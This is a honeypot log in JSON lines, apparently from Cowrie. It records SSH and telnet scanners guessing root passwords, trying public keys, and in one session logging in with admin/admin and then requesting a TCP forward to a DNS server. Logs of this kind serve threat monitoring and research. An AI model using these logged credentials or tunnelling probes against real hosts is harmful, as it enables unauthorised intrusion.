{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":59828,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c5bbefa6a42","protocol":"ssh","message":"New connection: 43.153.54.120:59828 (10.17.0.5:22) [session: 8c5bbefa6a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:20.836702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:20.844933Z","src_ip":"43.153.54.120","session":"8c5bbefa6a42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:20.913214Z","src_ip":"43.153.54.120","session":"8c5bbefa6a42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456456","message":"login attempt [root/456456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:21.216806Z","src_ip":"43.153.54.120","session":"8c5bbefa6a42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:22.288728Z","src_ip":"43.153.54.120","session":"8c5bbefa6a42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.245.216.166","src_port":61456,"dst_ip":"10.17.0.5","dst_port":22,"session":"06c16ff0c088","protocol":"ssh","message":"New connection: 216.245.216.166:61456 (10.17.0.5:22) [session: 06c16ff0c088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:23.572996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:23.582065Z","src_ip":"216.245.216.166","session":"06c16ff0c088","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:23.629620Z","src_ip":"216.245.216.166","session":"06c16ff0c088","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.399542808532715,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:23.676791Z","src_ip":"152.42.224.71","session":"46f8dcb3270f","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:e5:70:9b:3c:a2:10:70:04:f8:41:2d:8f:e8:1a:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpv0j7BHEZqG/xZjSpdSQw0PGFwWOWwmjF5vrlYyKpgPwQ0a6Kaon5J0MijnYcMdS0Ol8Z5MCTZXK2VYD6v5t/y6tUFpp97Ogi9igB8FceJmw+NufdBxjgKIDCbOCIip59uSwq2Q9yN2kQIQaq98QukcNd1ZmUJ01PU5nrN87Anjk45Mr/+77u79xksP+xVCs3FMseo1ByLvVOP5vul4PmboPCHQLHOAPx6ovwl8gpuz9h/KGEUl+Ua2QioMiJdOuBiP+VOfILFWTAafyg3W/ZiRGcjmspUtrfonSSCNHBLJ5OoV4DnMpXWPvwToQGm7TKSTJGt8DxJ3uNciQHvfuz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:e5:70:9b:3c:a2:10:70:04:f8:41:2d:8f:e8:1a:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:23.810474Z","src_ip":"216.245.216.166","session":"06c16ff0c088","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:e5:70:9b:3c:a2:10:70:04:f8:41:2d:8f:e8:1a:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpv0j7BHEZqG/xZjSpdSQw0PGFwWOWwmjF5vrlYyKpgPwQ0a6Kaon5J0MijnYcMdS0Ol8Z5MCTZXK2VYD6v5t/y6tUFpp97Ogi9igB8FceJmw+NufdBxjgKIDCbOCIip59uSwq2Q9yN2kQIQaq98QukcNd1ZmUJ01PU5nrN87Anjk45Mr/+77u79xksP+xVCs3FMseo1ByLvVOP5vul4PmboPCHQLHOAPx6ovwl8gpuz9h/KGEUl+Ua2QioMiJdOuBiP+VOfILFWTAafyg3W/ZiRGcjmspUtrfonSSCNHBLJ5OoV4DnMpXWPvwToQGm7TKSTJGt8DxJ3uNciQHvfuz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:23.815716Z","src_ip":"216.245.216.166","session":"06c16ff0c088","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"65:c6:94:77:ed:58:17:ad:c2:1a:10:7c:9d:a2:06:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyxxPHUqTxiRiQ5stvzUPMXPMf3nsJQjUvoSkA2Gx047uSgwcrFjaldnJvyGd6+w2SKcqnve4uyteF1fTJ56SBMAR16t2ZRol/jycqu1JnU98AE6aem94tc9hg0I4pj5qEkVhuMiu/rXIoILH8J4fJ/eERNA80k3LbxoF6Kf+4xpbzY8FaadYlJSCtoHVUge/SZIOgLm1QXGZJcor3AAwVTPpe7zmVdWSZvMZk+cSVOKF8elBBs5JceINw5gh4S74qZUOHP5OmJfhSdw6zt6CYK5bXLpATj/m3oeJRdnNCe9E5OIl1anp0aaksY0w6MV0IboDaFPI52aGjWz2AzEn/w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 65:c6:94:77:ed:58:17:ad:c2:1a:10:7c:9d:a2:06:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:23.857252Z","src_ip":"216.245.216.166","session":"06c16ff0c088","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"65:c6:94:77:ed:58:17:ad:c2:1a:10:7c:9d:a2:06:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyxxPHUqTxiRiQ5stvzUPMXPMf3nsJQjUvoSkA2Gx047uSgwcrFjaldnJvyGd6+w2SKcqnve4uyteF1fTJ56SBMAR16t2ZRol/jycqu1JnU98AE6aem94tc9hg0I4pj5qEkVhuMiu/rXIoILH8J4fJ/eERNA80k3LbxoF6Kf+4xpbzY8FaadYlJSCtoHVUge/SZIOgLm1QXGZJcor3AAwVTPpe7zmVdWSZvMZk+cSVOKF8elBBs5JceINw5gh4S74qZUOHP5OmJfhSdw6zt6CYK5bXLpATj/m3oeJRdnNCe9E5OIl1anp0aaksY0w6MV0IboDaFPI52aGjWz2AzEn/w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:23.861955Z","src_ip":"216.245.216.166","session":"06c16ff0c088","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:51:6c:d3:8e:88:a5:08:61:6f:30:e9:9b:e0:9e:10","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAICyOfW+l2CFMAI+12Z64yIguis9x/oiMcOf8POXOan","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 99:51:6c:d3:8e:88:a5:08:61:6f:30:e9:9b:e0:9e:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:23.904962Z","src_ip":"216.245.216.166","session":"06c16ff0c088","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:51:6c:d3:8e:88:a5:08:61:6f:30:e9:9b:e0:9e:10","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAICyOfW+l2CFMAI+12Z64yIguis9x/oiMcOf8POXOan","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:23.909270Z","src_ip":"216.245.216.166","session":"06c16ff0c088","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:c0:f8:e0:5b:ad:cb:e5:e7:b1:8a:7d:00:23:a8:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDC8KNvi9+Ega/wbbt2wcVJdtdcYJdEiOs7eCl6rRkoHDUSAwKiJGP9vFbatURDhe4mktYmlagyk5qc58gfbADSw3beZbE95/R5VcFFuipVBoNH/CCVjfbrZS60addQ+zZGvZ5X20z8tn58Sd0oIme0u6+8/OsVmRjUSdMla+jOQ40XrWVA2Oc2NqTVXPbTH9aCAS1UyJ2wuiWDYEhqwjnIXuuB7EEIaLE0TBXVfhHKfHtz8yDOv191kk20G8leskBrQc42GEoG/j4Wsz8L7qLrcwCh51IfPM45g4Q/jVhDzZg9QlNx2LoLBDn651BethT7K4QVVLRR4NqXqYhvvoXV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:c0:f8:e0:5b:ad:cb:e5:e7:b1:8a:7d:00:23:a8:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:23.950640Z","src_ip":"216.245.216.166","session":"06c16ff0c088","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:c0:f8:e0:5b:ad:cb:e5:e7:b1:8a:7d:00:23:a8:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDC8KNvi9+Ega/wbbt2wcVJdtdcYJdEiOs7eCl6rRkoHDUSAwKiJGP9vFbatURDhe4mktYmlagyk5qc58gfbADSw3beZbE95/R5VcFFuipVBoNH/CCVjfbrZS60addQ+zZGvZ5X20z8tn58Sd0oIme0u6+8/OsVmRjUSdMla+jOQ40XrWVA2Oc2NqTVXPbTH9aCAS1UyJ2wuiWDYEhqwjnIXuuB7EEIaLE0TBXVfhHKfHtz8yDOv191kk20G8leskBrQc42GEoG/j4Wsz8L7qLrcwCh51IfPM45g4Q/jVhDzZg9QlNx2LoLBDn651BethT7K4QVVLRR4NqXqYhvvoXV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:23.955254Z","src_ip":"216.245.216.166","session":"06c16ff0c088","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:78:59:bc:00:a1:e1:ff:a9:32:18:fa:c5:a2:27:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCoW20YeFEC2S6WB9rHQWpxIPI8k5ib55unE0UaYLhFosPT6th7Nj7aOu4FbFFzl2fct9LvZgShIb+gacanpEXtJByT/Jtj0hjM398BQnWRHSO2Gjlvk6BXKI9j88Lbg6mC/4OsZttaaV8qPO1wLx+ck4jl46UKoY8cXnvg02Vaiqt2WklWaLFX4xLVcq8DuRyS5pNcnHkTOVvEJyxDK54Mx9DcAcKin3puJFxpJDwutO41AjOWsyLk+JZMJbBnfVpRTEMDQBzU7wuw3mcFDCLzKkgT7gTVgMwazP7EFc6BRoT0ezSs3/Q6Q5sGWsh/bd8oaumqYgXFO+zz71hGbKPGIrjna96lMVexUr61Qf7e6yCwNDHg5NeWVkythHb+dLCCzGxrwVeGKfohybq10/oHbjFKLVx3zw7RAxUn+Qj7Zk76jCeUA2Yvk+Vf0CYQSvMYUw0HaN6FyJEY2eHj4m8wZ8F88HhV9uhDmkiw0cbH2Co5ZZdvm7s/UfAPcrzMQHXTJzxG+jvDtvfmoYVqY4K9UuEvAYpMeu53OoUljQutUteZ4T+BQ0PVHTyJYhaeooEWlPYcup8q0+MDXV2K+CvIz/8xo2bGBo3iTycXpfw+5HeS5AT1UcPkMaXk2wRU0fhFV5IuO6Mg0TyToShJjzKT/2kO0IUcdAeiPepEC8EYYQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:78:59:bc:00:a1:e1:ff:a9:32:18:fa:c5:a2:27:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:24.010717Z","src_ip":"216.245.216.166","session":"06c16ff0c088","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:78:59:bc:00:a1:e1:ff:a9:32:18:fa:c5:a2:27:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCoW20YeFEC2S6WB9rHQWpxIPI8k5ib55unE0UaYLhFosPT6th7Nj7aOu4FbFFzl2fct9LvZgShIb+gacanpEXtJByT/Jtj0hjM398BQnWRHSO2Gjlvk6BXKI9j88Lbg6mC/4OsZttaaV8qPO1wLx+ck4jl46UKoY8cXnvg02Vaiqt2WklWaLFX4xLVcq8DuRyS5pNcnHkTOVvEJyxDK54Mx9DcAcKin3puJFxpJDwutO41AjOWsyLk+JZMJbBnfVpRTEMDQBzU7wuw3mcFDCLzKkgT7gTVgMwazP7EFc6BRoT0ezSs3/Q6Q5sGWsh/bd8oaumqYgXFO+zz71hGbKPGIrjna96lMVexUr61Qf7e6yCwNDHg5NeWVkythHb+dLCCzGxrwVeGKfohybq10/oHbjFKLVx3zw7RAxUn+Qj7Zk76jCeUA2Yvk+Vf0CYQSvMYUw0HaN6FyJEY2eHj4m8wZ8F88HhV9uhDmkiw0cbH2Co5ZZdvm7s/UfAPcrzMQHXTJzxG+jvDtvfmoYVqY4K9UuEvAYpMeu53OoUljQutUteZ4T+BQ0PVHTyJYhaeooEWlPYcup8q0+MDXV2K+CvIz/8xo2bGBo3iTycXpfw+5HeS5AT1UcPkMaXk2wRU0fhFV5IuO6Mg0TyToShJjzKT/2kO0IUcdAeiPepEC8EYYQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:24.016545Z","src_ip":"216.245.216.166","session":"06c16ff0c088","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:24.060285Z","src_ip":"216.245.216.166","session":"06c16ff0c088","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.193.106.227","src_port":41954,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8d1b61302d6","protocol":"ssh","message":"New connection: 62.193.106.227:41954 (10.17.0.5:22) [session: c8d1b61302d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:24.538732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:24.547341Z","src_ip":"62.193.106.227","session":"c8d1b61302d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:24.692890Z","src_ip":"62.193.106.227","session":"c8d1b61302d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"posp","message":"login attempt [root/posp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:25.306537Z","src_ip":"62.193.106.227","session":"c8d1b61302d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:26.457527Z","src_ip":"62.193.106.227","session":"c8d1b61302d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.73497414588928,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:37.972964Z","src_ip":"152.42.224.71","session":"e8ee11aa8cec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52714,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c9d07cd8dde","protocol":"telnet","message":"New connection: 152.42.224.71:52714 (10.17.0.5:23) [session: 0c9d07cd8dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:39.728343Z"}
{"eventid":"cowrie.session.closed","duration":50.53265166282654,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:45.023080Z","src_ip":"152.42.224.71","session":"b1967ea3c6ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49432,"dst_ip":"10.17.0.5","dst_port":23,"session":"344cfc32b709","protocol":"telnet","message":"New connection: 152.42.224.71:49432 (10.17.0.5:23) [session: 344cfc32b709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:46.411759Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49438,"dst_ip":"10.17.0.5","dst_port":23,"session":"02e730aeddbd","protocol":"telnet","message":"New connection: 152.42.224.71:49438 (10.17.0.5:23) [session: 02e730aeddbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:53.286664Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":30160,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b8484082a7c","protocol":"ssh","message":"New connection: 87.251.64.176:30160 (10.17.0.5:22) [session: 9b8484082a7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:56.301879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:56.306706Z","src_ip":"87.251.64.176","session":"9b8484082a7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:56.403126Z","src_ip":"87.251.64.176","session":"9b8484082a7c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:56.691546Z","src_ip":"87.251.64.176","session":"9b8484082a7c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:56.790787Z","session":"9b8484082a7c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:46:56.889340Z","src_ip":"87.251.64.176","session":"9b8484082a7c","protocol":"ssh"}
